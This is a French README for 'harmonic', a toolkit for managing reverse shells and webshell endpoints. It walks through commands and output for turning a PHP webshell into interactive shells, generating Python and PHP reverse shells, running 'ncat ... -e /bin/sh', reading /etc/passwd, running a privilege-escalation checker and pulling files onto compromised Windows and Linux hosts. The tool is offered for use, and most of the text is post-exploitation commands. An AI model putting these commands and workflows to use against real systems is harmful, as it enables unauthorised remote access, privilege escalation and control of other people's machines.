Suite pour la gestion de reverse shells, conçue pour travailler dans le shell natif.
Début d'un ensemble d'outils Linux pour la gestion et l'interface avec des shells inversés (le code est encore à l'état « quick and dirty », avec peu de gestion des exceptions). Fortement inspiré par la philosophie UNIX, l'idée de base est d'avoir un démon pour gérer des points de terminaison arbitraires (connd, bien que ce ne soit pas encore un véritable démon, mais il peut tourner dans un terminal séparé) et d'exécuter des outils contre ces points de terminaison.
Les points de terminaison sont « pilotés » par un script ou un processus et exposés sous forme de fichiers dans le système de fichiers ; un client logiciel léger peut ensuite être utilisé pour interagir avec eux, mais on peut tout aussi bien y écrire et les lire à l'aide de commandes shell. En fait, la possibilité d'exécuter les scripts de manière autonome depuis le shell est un facteur de conception clé : idéalement, au plus, un script dépendra de la présence d'un point de terminaison, mais pourra également être utilisé en combinaison (en cascade les uns avec les autres).
Les options actuelles de points de terminaison sont :
Le client logiciel léger (hthinc.py) fournit une interface de base avec le point de terminaison du système, ainsi que l'exécution rapide de scripts sur le système. Plusieurs scripts basiques mais utiles ont été écrits :
Les types de drivers de shell inversé (c'est-à-dire ce qui pilote le shell sur le système distant) sont les suivants (prise en charge actuellement pour Linux) :
Autres scripts :
Dites à connd de démarrer un point de terminaison, en utilisant un driver de type wedge shell avec le script php fourni qui effectue des appels système avec une réponse formatée. Cependant, ce script d'une seule ligne aurait tout aussi bien pu être un code injecté dans un journal de serveur.
$ hconnd.py start wsh http://example.com/hwsh.php
1
Cela a créé le point de terminaison 1 (deux pipes d'entrée/sortie -- vous pouvez les voir comme t1i et t1o dans le sous-répertoire run). Nous utilisons donc maintenant hthinc.py pour interagir avec le shell.
$ hthinc.py 1
<harmonic> thinc
runik@hwsh:example.com /var/www/public_html $ whoami
www-data
% 0
runik@hwsh:example.com /var/www/public_html $ uname -a
Linux green 4.4.0-83-generic #106-Ubuntu SMP Mon Jun 26 17:54:43 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
% 0
Nous savons que c'est une machine Linux. Nous voulons sortir du web shell coincé et obtenir un vrai shell. Exécuter la commande intégrée !help affiche le message d'aide de thinc. Nous pouvons exécuter un script sp qui lance automatiquement des commandes sur le système distant, énumère l'environnement, démarre un point de terminaison nc, génère un shell inversé et s'y connecte automatiquement via un nouveau hthinc.py :
runik@hwsh:example.com /var/www/public_html $ !run sp LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+] Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
Ou si nous savons que nous utilisons (par exemple) PHP comme driver, nous pouvons le spécifier :
runik@hwsh:example.com /var/www/public_html $ !run sp DRIVER=php LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Generating php reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
Et si nous avons un shell sans TTY ou que nous voulons en sortir, nous pouvons exécuter l'une des macros par défaut :
$ tty
no tty
$ !run mac pty
[email protected]:/var/www/html/$
De plus, si nous voulons journaliser la sortie d'une commande, nous pouvons utiliser le script log qui l'enregistrera dans le répertoire de travail courant :
$ !run log cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
df12:x:1000:1000::/home/df12:/bin/zsh
[+] Saved to /home/examples/10.0.2.12/post/cat__etc_passwd_0
Pendant que les points de terminaison sont actifs, vous pouvez attacher/détacher les clients car les processus de connexion sont gérés par le démon.
Comme tout peut être exécuté de manière plus unixienne, nous pouvons répéter rapidement des processus depuis le shell. Nous démarrons un point de terminaison webshell, obtenons l'ID du point de terminaison, puis depuis le shell exécutons le script de génération sp.py contre le point de terminaison (c'est le même script que celui utilisé dans hthinc.py mais avec un point d'entrée différent).
$ hconn.py start wsh http://example.com/hwsh.php
1
$ hscr.py 1 sp 4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+] Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
ou comme une ligne unique :
$ hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455
et automatiser facilement :
$ cat reverse.sh
#!/bin/bash
hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455
$ ./reverse.sh
<harmonic> basic shell spawner
[+] Running enumeration...
...
$
L'outil hcmd.py vous permet d'exécuter rapidement une commande via un point de terminaison depuis votre shell
$ hcmd.py 2 uname -a
Linux kali 4.12.0-kali1-amd64 #1 SMP Debian 4.12.6-1kali6 (2017-08-30) x86_64 GNU/Linux
et d'utiliser des pipes ou des redirections sur les résultats comme d'habitude
$ hcmd.py 2 ifconfig | grep wlan
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
Vous pouvez utiliser le verbe list avec hconn.py pour voir la liste actuelle des points de terminaison, avec l'état de la connexion si pertinent
$ hconn.py list
1 [26616]: /home/runik/Tools/harmonic/hwsh.py http://10.15.10.4/hwsh.php
2 [26622]: nc -lp 4455 Established -> 10.15.10.4
3 [26659]: nc -nlvp 4495 Listening
Configurer un point de terminaison wedge shell :
$ hconn.py start wsh http://example.com/hwsh.php
1
Nous pouvons maintenant configurer un listener netcat sur le port 4444 :
$ hconn.py start nc 4444
2
Et ensuite écrire dans le point de terminaison wedge shell (eid 1) via le fichier d'entrée :
$ echo "ncat 127.0.0.1 4444 -e /bin/sh" > run/t1i
Cela devrait avoir renvoyé un shell au listener netcat. Attachez le client léger au point de terminaison netcat (eid 2) et nous devrions avoir un autre shell qui attend :
$ hthinc.py 2
<harmonic> thinc
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Généraliser l'interface shell en fichiers signifie que les scripts utilisés contre un point de terminaison webshell fonctionneront également contre un point de terminaison netcat reverse shell. Vous pouvez
invoquer les scripts en utilisant leur chemin absolu ($HCROOT/share/script/*.py) ou utiliser le script d'assistance hscr.py
Nous pouvons exécuter sp.py contre le point de terminaison netcat et générer un autre shell inversé :
$ hscr.py 2 sp 4495 127.0.0.1
<harmonic> basic shell spawner
[+] Running enumeration...
[+] Checking for python version... 2.7
[+] Starting endpoint... 3
[+] Generating python reverse shell command (127.0.0.1:4495)... OK
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$
et l'équivalent avec le chemin absolu serait $ $HCROOT/share/script/sp.py 2 4495 127.0.0.1
ou nous pouvons exécuter Linux Priv Escalation Checker contre un webshell :
$ $HCROOT/share/script/lpc.py 1
<harmonic> Linux Priv Check Wrapper
============================================================
LINUX PRIVILEGE ESCALATION CHECKER
============================================================
...
Finished
et nous pouvons les invoquer à l'intérieur d'une instance hthinc.py
!run lpc
Les variables d'environnement peuvent être utilisées pour définir des valeurs globales. Il y a trois niveaux de variables, chacun ayant une priorité plus faible que le suivant :
Les variables du fichier resource sont définies dans $HCROOT/.hcrc. Elles ont la priorité la plus basse mais peuvent être utilisées pour éviter de polluer les variables d'environnement système
Les variables environment/shell sont apportées au processus par le shell et préfixées avec HCV_. Elles fusionnent avec les variables resource et écrasent les valeurs qui existent déjà.
Les variables inline écrasent tout ce qui a été défini précédemment
Pour ces exemples, LHOST=127.0.0.1 est défini comme variable resource dans .hcrc et l'utilisation du script est ./script LPORT [LHOST]
Le script suivant aura LHOST=127.0.0.1 et LPORT=4455 (variable resource)
$ ./script 4455
Le script suivant aura LHOST=192.168.1.101 et LPORT=4455 (variable shell)
$ HCV_LHOST=192.168.1.101 ./script 4455
Le script suivant aura LHOST=10.10.10.125 (variable inline)
$ HCV_LHOST=192.168.1.101 ./script 4455 10.10.10.125
Les mêmes principes peuvent être appliqués à hthinc.py !run SCR, (gardez à l'esprit : les variables environment/shell sont celles passées à ./hthinc.py)
Le serveur portail est un serveur HTTP basique qui peut être utilisé pour récupérer des fichiers sur le système distant à l'aide de scripts. Ces scripts ont tendance à agir comme des macros autour de la commande, créant une interaction plus uniforme entre les plateformes. Le serveur gère les fichiers relativement à $HCROOT/share/disp/
hpd.py tourne sur le port 80. DHOST et DPORT sont définis dans .hcrc comme 127.0.0.1 et 80 respectivement (ils pointent vers le serveur de distribution). Cela signifie que je n'ai pas à saisir ces variables lors de l'invocation du script, mais si elles doivent être différentes, nous les incluons simplement comme variables inline, comme la variable FILE=.
Nous invoquons les scripts depuis hthinc.py mais, encore une fois, nous pouvons exécuter ces scripts depuis notre shell habituel en leur donnant un ID de point de terminaison en ligne de commande. Si DHOST et DPORT sont déjà définis, nous n'avons pas besoin de les inclure en ligne de commande.
Pour cela, nous utilisons PowerShell, via pspull, pour récupérer le fichier :
c:\Users\user\Desktop>!run pspull FILE=txt/test.txt
[+] 127.0.0.1 --> () --> test.txt
[+] Pull successful
Ici, nous n'avons pas PowerShell, nous devons donc initialiser le script portail, puis récupérer le fichier :
c:\Users\user\Desktop>!run wpinit
<harmonic> Win Portal Initialiser
[+] Running enumeration...
[+] Checking VB engine... OK
[+] Using engine: VB
[+] Loading non-interactive script generator for 127.0.0.1... OK
[+] Running generator... OK
[+] Portal should be ready
c:\Users\user\Desktop>!run vbpull FILE=txt/test.txt
[+] Portal --> () --> test.txt
[+] Pull successful
Le script pull est utilisé pour Linux :
$ !run pull FILE=txt/test.txt
[+] 127.0.0.1 --> () --> test.txt
[+] Pull successful
Juste pour clarifier les variables inline :
$ !run pull FILE=txt/test.txt DHOST=192.168.1.1
[+] 192.168.1.1 --> () --> test.txt
[+] Pull successful
Les macros sont définies dans la section macro de $HCROOT/.hcrc et invoquées par le script mac. Sous cette forme de base, elles ressemblent à un alias dans un shell et sont en réalité de simples scripts à sens unique, envoyant une commande via le point de terminaison au shell distant. Il est plus facile de lier des séquences de commandes régulièrement utilisées mais laborieuses à des macros.
Invoquer le script mac depuis un hthinc.py implique l'utilisation d'une variable sans nom, c'est-à-dire une variable sans étiquette. Cela permet d'invoquer les macros comme un paramètre de ligne de commande du script.
Encore une fois, les macros peuvent être invoquées depuis votre shell habituel en utilisant le même script mac.py.
Cet exemple invoque la macro pty dans un shell instable. La macro est un alias pour python -c 'import pty; pty.spawn("/bin/bash")' :
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
tty
no tty
!run mac pty
[email protected]:/var/www/html/$
L'équivalent pour l'exécuter depuis la ligne de commande sur (par exemple) le point de terminaison 5 serait hscr.py 5 mac pty. La prochaine fois que vous attacherez un client au point de terminaison, il devrait tourner avec un tty.
Saisir !run mac --list affichera la liste des macros.
Pour compiler connd :
go build connd